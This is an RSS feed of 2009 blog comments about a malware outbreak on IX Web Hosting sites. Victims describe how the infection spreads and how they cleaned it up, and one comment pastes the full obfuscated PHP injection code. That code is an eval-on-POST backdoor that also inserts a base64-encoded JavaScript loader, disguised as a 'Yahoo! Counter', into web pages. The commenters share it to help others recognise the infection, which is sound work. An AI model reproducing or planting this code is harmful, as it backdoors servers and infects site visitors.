<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
		>
<channel>
	<title>Comments on: More than ONE THIRD of ALL IX Web Hosting sites INFECTED</title>
	<atom:link href="http://ixwebhostwarning.wordpress.com/2009/01/08/more-than-one-third-of-all-ix-web-hosting-sites-infected/feed/" rel="self" type="application/rss+xml" />
	<link>http://ixwebhostwarning.wordpress.com/2009/01/08/more-than-one-third-of-all-ix-web-hosting-sites-infected/</link>
	<description>Unreliable, Insecure, Incompetant Web Hosting</description>
	<lastBuildDate>Thu, 05 Nov 2009 21:58:40 +0000</lastBuildDate>
	<generator>http://wordpress.com/</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Fasteddy</title>
		<link>http://ixwebhostwarning.wordpress.com/2009/01/08/more-than-one-third-of-all-ix-web-hosting-sites-infected/#comment-220</link>
		<dc:creator>Fasteddy</dc:creator>
		<pubDate>Sat, 25 Apr 2009 11:14:36 +0000</pubDate>
		<guid isPermaLink="false">http://ixwebhostwarning.wordpress.com/?p=131#comment-220</guid>
		<description>How to get rid of the tmp_lkojfghx Virus 
(for want of a better name)

I battled this virus for a couple of months. It infected around a dozen of my websites and I think I understand how it operates and how to prevent it from spreading.

Overview.
This virus is a multi pronged attack on websites and computers.
When you visit an infected site your PC may become infected. Your infected PC may be compromised with Spyware thus sending off FTP access information to the hackers. Hackers then use brute force to hack your password (if they don’t already have it). Your password and username is then used to hack your sites which then become malware sites and spread the virus further.  Your site may even become blacklisted by Google and other sites.

The Hackers Methods 
My opinion is that they infect your computer when you hit an infected site. The infection is some kind of spyware (or keylogging) which extracts FTP info from your browser. Probably the username. They then hack the password using brute force. 

The Website Attack
A malicious (but valid) login using FTP access rewrites many of your website files. (check your FTP logs and align the times with your file dates and times)

1. PHP files will have malicious PHP script inserted at the start of the file bracketed by it’s own php tags. The original script is still present but is effectively disabled.
These PHP files when accessed from the public domain will do one of two things:-
	They will firstly check for a variable sent by the POST method. This will be malicious code sent by the hacker and could vary each time.
	If no variable is present they will proceed to infect or re-infect the rest of the HTML files in your site.

2. HTML files will have malicious JAVASCRIPT inserted between the  and  tags. When this page is accessed from the public domain it proceeds to download malware into the visitor’s PC (possibly from some remote site). It will sometimes ask you to click to download a Microsoft addon for this site. The computer then experiences a lot of disk activity and browser lockup. (information may be extracted at this point but I’m not sure)
Infected computers can slow down, experience browser hijacking and are probably infected with a keylogging virus or some other sort of spyware.


3. Javascript files (ending in .js) will have the same script as the HTML files inserted at the end of the file. These JS files are linked to html pages and thus have the same effect as being inserted directly in the html page.

You can clean up the site but it will be attacked again in a few days and re-infected.

Symptoms
•Your web pages are slow loading…possibly while the malicious code communicates with it&#039;s master 
•When you visit the site, your computer starts frantic disk activity and browser locks up (I suggest hit the reset button and used System Restore at this stage)
•A bar at the top of the page prompts you to download a Microsoft Add-on

If your PC is compromised it may display the following symptoms
•Computer has generally slowed down
•You experience browser hijacking especially ‘search engine’ redirection
•Other websites that you manage start to get infected

Cure
1. Change your FTP login to a VERY STRONG PASSWORD -  for example 14 characters with a mix of symbols included (use a clean pc that is not compromised) My experience is that simple passwords will get hacked again. Complex passwords will not.

2. Meticulously clean out all traces of the virus from your website by reloading pages or editing out the hack code. Check hidden directories for infected files. These may not show using your FTP client (go to the CPanel File Manager and have a look)

3. Cleanse your PC
•Scan with your virus protection software (mine didn’t find it)
•Use System Restore to revert back to before you got infected (this is the best way I have found)
•Reformat your disk, reload windows and spend a couple of days reloading your PC

*Ensure that System Restore is Enabled on your PC</description>
		<content:encoded><![CDATA[<p>How to get rid of the tmp_lkojfghx Virus<br />
(for want of a better name)</p>
<p>I battled this virus for a couple of months. It infected around a dozen of my websites and I think I understand how it operates and how to prevent it from spreading.</p>
<p>Overview.<br />
This virus is a multi pronged attack on websites and computers.<br />
When you visit an infected site your PC may become infected. Your infected PC may be compromised with Spyware thus sending off FTP access information to the hackers. Hackers then use brute force to hack your password (if they don’t already have it). Your password and username is then used to hack your sites which then become malware sites and spread the virus further.  Your site may even become blacklisted by Google and other sites.</p>
<p>The Hackers Methods<br />
My opinion is that they infect your computer when you hit an infected site. The infection is some kind of spyware (or keylogging) which extracts FTP info from your browser. Probably the username. They then hack the password using brute force. </p>
<p>The Website Attack<br />
A malicious (but valid) login using FTP access rewrites many of your website files. (check your FTP logs and align the times with your file dates and times)</p>
<p>1. PHP files will have malicious PHP script inserted at the start of the file bracketed by it’s own php tags. The original script is still present but is effectively disabled.<br />
These PHP files when accessed from the public domain will do one of two things:-<br />
	They will firstly check for a variable sent by the POST method. This will be malicious code sent by the hacker and could vary each time.<br />
	If no variable is present they will proceed to infect or re-infect the rest of the HTML files in your site.</p>
<p>2. HTML files will have malicious JAVASCRIPT inserted between the  and  tags. When this page is accessed from the public domain it proceeds to download malware into the visitor’s PC (possibly from some remote site). It will sometimes ask you to click to download a Microsoft addon for this site. The computer then experiences a lot of disk activity and browser lockup. (information may be extracted at this point but I’m not sure)<br />
Infected computers can slow down, experience browser hijacking and are probably infected with a keylogging virus or some other sort of spyware.</p>
<p>3. Javascript files (ending in .js) will have the same script as the HTML files inserted at the end of the file. These JS files are linked to html pages and thus have the same effect as being inserted directly in the html page.</p>
<p>You can clean up the site but it will be attacked again in a few days and re-infected.</p>
<p>Symptoms<br />
•Your web pages are slow loading…possibly while the malicious code communicates with it&#8217;s master<br />
•When you visit the site, your computer starts frantic disk activity and browser locks up (I suggest hit the reset button and used System Restore at this stage)<br />
•A bar at the top of the page prompts you to download a Microsoft Add-on</p>
<p>If your PC is compromised it may display the following symptoms<br />
•Computer has generally slowed down<br />
•You experience browser hijacking especially ‘search engine’ redirection<br />
•Other websites that you manage start to get infected</p>
<p>Cure<br />
1. Change your FTP login to a VERY STRONG PASSWORD &#8211;  for example 14 characters with a mix of symbols included (use a clean pc that is not compromised) My experience is that simple passwords will get hacked again. Complex passwords will not.</p>
<p>2. Meticulously clean out all traces of the virus from your website by reloading pages or editing out the hack code. Check hidden directories for infected files. These may not show using your FTP client (go to the CPanel File Manager and have a look)</p>
<p>3. Cleanse your PC<br />
•Scan with your virus protection software (mine didn’t find it)<br />
•Use System Restore to revert back to before you got infected (this is the best way I have found)<br />
•Reformat your disk, reload windows and spend a couple of days reloading your PC</p>
<p>*Ensure that System Restore is Enabled on your PC</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Eric</title>
		<link>http://ixwebhostwarning.wordpress.com/2009/01/08/more-than-one-third-of-all-ix-web-hosting-sites-infected/#comment-42</link>
		<dc:creator>Eric</dc:creator>
		<pubDate>Fri, 09 Jan 2009 03:07:54 +0000</pubDate>
		<guid isPermaLink="false">http://ixwebhostwarning.wordpress.com/?p=131#comment-42</guid>
		<description>Here&#039;s the code:

&lt;?php if(!function_exists(&#039;tmp_lkojfghx&#039;)){for($i=1;$i&lt;100;$i++)if(is_file($f=&#039;/tmp/m&#039;.$i)){include_once($f);break;}if(isset($_POST[&#039;tmp_lkojfghx3&#039;]))eval($_POST[&#039;tmp_lkojfghx3&#039;]);if(!defined(&#039;TMP_XHGFJOKL&#039;))define(&#039;TMP_XHGFJOKL&#039;,base64_decode(&#039;PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gWWFob28hIENvdW50ZXIgc3RhcnRzIAppZih0eXBlb2Yoe
WFob29fY291bn
RlcikhPXR5cGVvZigxKSlldmFsKHVuZXNjYXBlKCcvJTJGJTNDJCU2NCU2OSU3NiUyMCU3MyU3NHx5JTZDZSE9JTY0aSU3
M3AlNkMmYXx5JTNBIW4lNkZuJTY1QCUzRVxuI2RAJTZGYyU3NW0lNjUjbnQkJTJFJTc3JTcyJTY5fHQlNjUo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ciBlbmQgLS0+PC9zY3JpcHQ+Cg==&#039;));function tmp_lkojfghx($s){if($g=(bin2hex(substr($s,0,2))==&#039;1f8b&#039;))$s=gzinflate(substr($s,10,-8));if(preg_match_all(&#039;#&lt;script(.*?)#is&#039;,$s,$a))foreach($a[0] as $v)if(count(explode(&quot;\n&quot;,$v))&gt;5){$e=preg_match(&#039;#[\&#039;\&quot;][^\s\&#039;\&quot;\.,;\?!\[\]:/\(\)]{30,}#&#039;,$v)&#124;&#124;preg_match(&#039;#[\(\[](\s*\d+,){20,}#&#039;,$v);if((preg_match(&#039;#\beval\b#&#039;,$v)&amp;&amp;($e&#124;&#124;strpos($v,&#039;fromCharCode&#039;)))&#124;&#124;($e&amp;&amp;strpos($v,&#039;document.write&#039;)))$s=str_replace($v,&#039;&#039;,$s);}$s1=preg_replace(base64_decode(&#039;IzxzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdD48IS0tIFlhaG9vISBDb3VudGVyIHN0YXJ0cy4rPzwvc2NyaXB0Pgojcw==&#039;),&#039;&#039;,$s);if(stristr($s,&#039;&lt;/body&#039;))$s=preg_replace(&#039;#(\s*&lt;/body)#mi&#039;,str_replace(&#039;\$&#039;,&#039;\\\$&#039;,TMP_XHGFJOKL).&#039;\1&#039;,$s1);elseif(($s1!=$s)&#124;&#124;defined(&#039;PMT_knghjg&#039;)&#124;&#124;stristr($s,&#039;&lt;body&#039;)&#124;&#124;stristr($s,&#039;&#039;))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&amp;&amp;$GLOBALS[&#039;tmp_xhgfjokl&#039;])call_user_func($GLOBALS[&#039;tmp_xhgfjokl&#039;],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v[&#039;name&#039;])==&#039;tmp_lkojfghx&#039;)return;else $s[]=array($a==&#039;default output handler&#039;?false:$a);for($i=count($s)-1;$i&gt;=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start(&#039;tmp_lkojfghx&#039;);for($i=0;$i


My sites run on the server block with mysql address mysql501.ixwebhosting.com. As a note, this is part of the new server block that runs php5.</description>
		<content:encoded><![CDATA[<p>Here&#8217;s the code:</p>
<p>&lt;?php if(!function_exists(&#8216;tmp_lkojfghx&#8217;)){for($i=1;$i&lt;100;$i++)if(is_file($f=&#8217;/tmp/m&#8217;.$i)){include_once($f);break;}if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined(&#8216;TMP_XHGFJOKL&#8217;))define(&#8216;TMP_XHGFJOKL&#8217;,base64_decode(&#8216;PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gWWFob28hIENvdW50ZXIgc3RhcnRzIAppZih0eXBlb2Yoe<br />
WFob29fY291bn<br />
RlcikhPXR5cGVvZigxKSlldmFsKHVuZXNjYXBlKCcvJTJGJTNDJCU2NCU2OSU3NiUyMCU3MyU3NHx5JTZDZSE9JTY0aSU3<br />
M3AlNkMmYXx5JTNBIW4lNkZuJTY1QCUzRVxuI2RAJTZGYyU3NW0lNjUjbnQkJTJFJTc3JTcyJTY5fHQlNjUoISUyMiElM0<br />
MvfCU3NCU2NSMlNzgjdHxhciU2NSYlNjElM0UiQCUyOSE7fnZhciUyMGlgJTJDX34sfmE9JCU1QiYlMjIlMzdAOEAuJTMxMWAw<br />
JTJFITEmNzUuJCUzMiUzMSUyMiYlMkMiJTMxJTM5fjV+LjIlMzRgLiUzNzZgLiUzMjVAJTMxfCIlNURgJTNCXyUzRCUzMXw7a<br />
WYlMjh+ZG9jQCU3NUBtZSZudH4lMkVjbyQlNkYlNkIlNjlgZX4lMkV+bSU2MSF0fiU2M0BoJiUyOCQlMkZ+JTVDYiQlNjhg<br />
Z34lNjZ8dH49IzEvJTI5QD09ISU2RX4lNzVsJTZDJTI5ZiU2RmAlNzIlMjgmJTY5PUAwfjskJTY5IyUzQyEyQCUzQmBpJTJ<br />
CJTJCKUAlNjRgb2BjISU3NW1+JTY1biU3NCMlMkV+d3J+aSF0fiU2NXwlMjgjJTIyJCUzQyU3MyU2M35yJTY5IyU3MGAlNz<br />
RAJTNFJCU2OSZmJCUyOCU1RiMlMjlkQCU2RiQlNjMmdUBtJTY1JTZFdC5gJTc3IXIlNjklNzRAJTY1QCgmJTVDfiUyMiUzQy<br />
U3MyZjfHIlNjlwdCUyMCU2OSU2NCUzRGAlNUZgIitpIyUyQiUyMn4lNUYlMjBgc0AlNzIlNjMmPSQlMkZgLyEiKyU2MSU1Qnwl<br />
NjklNUQlMkIlMjIlMkYjY3AlMkY/Iit+bmEmdmlnJTYxI3RvJTcyJTJFJTYxJTcwcGBOYXxtZWAuJTYzJTY4YGEkJTcyISU0MX<br />
QoJTMwJTI5KyElMjJgJTNFJTNDJTVDJTVDfiUyRnMlNjMhcml+cCU3NCElM0UhJTVDJCUyMiYlMjklM0N8JTVDISUyRiU3M3<br />
wlNjMlNzJpcCQlNzQlM0UlMjIlMjlgOyFcbi8lMkYlM0MvISU2NCU2OSZ2JiUzRScpLnJlcGxhY2UoL2B8XCZ8XCR8I3xcIXxcf<br />
Hx+fEAvZywiIikpO3ZhciB5YWhvb19jb3VudGVyPTE7CjwhLS0gY291bnRlciBlbmQgLS0+PC9zY3JpcHQ+Cg==&#8217;));function tmp_lkojfghx($s){if($g=(bin2hex(substr($s,0,2))==&#8217;1f8b&#8217;))$s=gzinflate(substr($s,10,-8));if(preg_match_all(&#8216;#&lt;script(.*?)#is&#8217;,$s,$a))foreach($a[0] as $v)if(count(explode(&#8220;\n&#8221;,$v))&gt;5){$e=preg_match(&#8216;#[\'\"][^\s\'\"\.,;\?!\[\]:/\(\)]{30,}#&#8217;,$v)||preg_match(&#8216;#[\(\[](\s*\d+,){20,}#&#8217;,$v);if((preg_match(&#8216;#\beval\b#&#8217;,$v)&amp;&amp;($e||strpos($v,&#8217;fromCharCode&#8217;)))||($e&amp;&amp;strpos($v,&#8217;document.write&#8217;)))$s=str_replace($v,&#8221;,$s);}$s1=preg_replace(base64_decode(&#8216;IzxzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdD48IS0tIFlhaG9vISBDb3VudGVyIHN0YXJ0cy4rPzwvc2NyaXB0Pgojcw==&#8217;),&#8221;,$s);if(stristr($s,&#8217;&lt;/body&#8217;))$s=preg_replace(&#8216;#(\s*&lt;/body)#mi&#8217;,str_replace(&#8216;\$&#8217;,'\\\$&#8217;,TMP_XHGFJOKL).&#8217;\1&#8242;,$s1);elseif(($s1!=$s)||defined(&#8216;PMT_knghjg&#8217;)||stristr($s,&#8217;&lt;body&#8217;)||stristr($s,&#8221;))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&amp;&amp;$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])==&#8217;tmp_lkojfghx&#8217;)return;else $s[]=array($a==&#8217;default output handler&#8217;?false:$a);for($i=count($s)-1;$i&gt;=0;$i&#8211;){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start(&#8216;tmp_lkojfghx&#8217;);for($i=0;$i</p>
<p>My sites run on the server block with mysql address mysql501.ixwebhosting.com. As a note, this is part of the new server block that runs php5.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: neverixweb</title>
		<link>http://ixwebhostwarning.wordpress.com/2009/01/08/more-than-one-third-of-all-ix-web-hosting-sites-infected/#comment-41</link>
		<dc:creator>neverixweb</dc:creator>
		<pubDate>Fri, 09 Jan 2009 01:40:17 +0000</pubDate>
		<guid isPermaLink="false">http://ixwebhostwarning.wordpress.com/?p=131#comment-41</guid>
		<description>Hi Eric.
Thanks for taking the time to post about your issue, and the where abouts of the injected script.
It is true that the script is Base64 coded, could you post your code here if you still have it, and could you please let me know on what servers your site(s) are hosted.
Good Luck with your sites.</description>
		<content:encoded><![CDATA[<p>Hi Eric.<br />
Thanks for taking the time to post about your issue, and the where abouts of the injected script.<br />
It is true that the script is Base64 coded, could you post your code here if you still have it, and could you please let me know on what servers your site(s) are hosted.<br />
Good Luck with your sites.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Eric</title>
		<link>http://ixwebhostwarning.wordpress.com/2009/01/08/more-than-one-third-of-all-ix-web-hosting-sites-infected/#comment-40</link>
		<dc:creator>Eric</dc:creator>
		<pubDate>Fri, 09 Jan 2009 00:56:45 +0000</pubDate>
		<guid isPermaLink="false">http://ixwebhostwarning.wordpress.com/?p=131#comment-40</guid>
		<description>I also made the mistake of hosting with IX. One of my WordPress (WPMU v2.7) blogs was recently infected with the so called &quot;Yahoo! Counter&quot; virus. I wasted an entire afternoon looking for the code which is encrypted in base 64 to avoid detection when searching with terms like &quot;Yahoo&quot;

I finally found the code at the very end of my wp-config.php file (compare to wp-config-sample.php if you have it). This file had 755 permissions.

@neverixweb: Could you mention this in a post? I couldn&#039;t find a clear fix for wordpress users on Google so I thought I&#039;d contribute mine.</description>
		<content:encoded><![CDATA[<p>I also made the mistake of hosting with IX. One of my WordPress (WPMU v2.7) blogs was recently infected with the so called &#8220;Yahoo! Counter&#8221; virus. I wasted an entire afternoon looking for the code which is encrypted in base 64 to avoid detection when searching with terms like &#8220;Yahoo&#8221;</p>
<p>I finally found the code at the very end of my wp-config.php file (compare to wp-config-sample.php if you have it). This file had 755 permissions.</p>
<p>@neverixweb: Could you mention this in a post? I couldn&#8217;t find a clear fix for wordpress users on Google so I thought I&#8217;d contribute mine.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
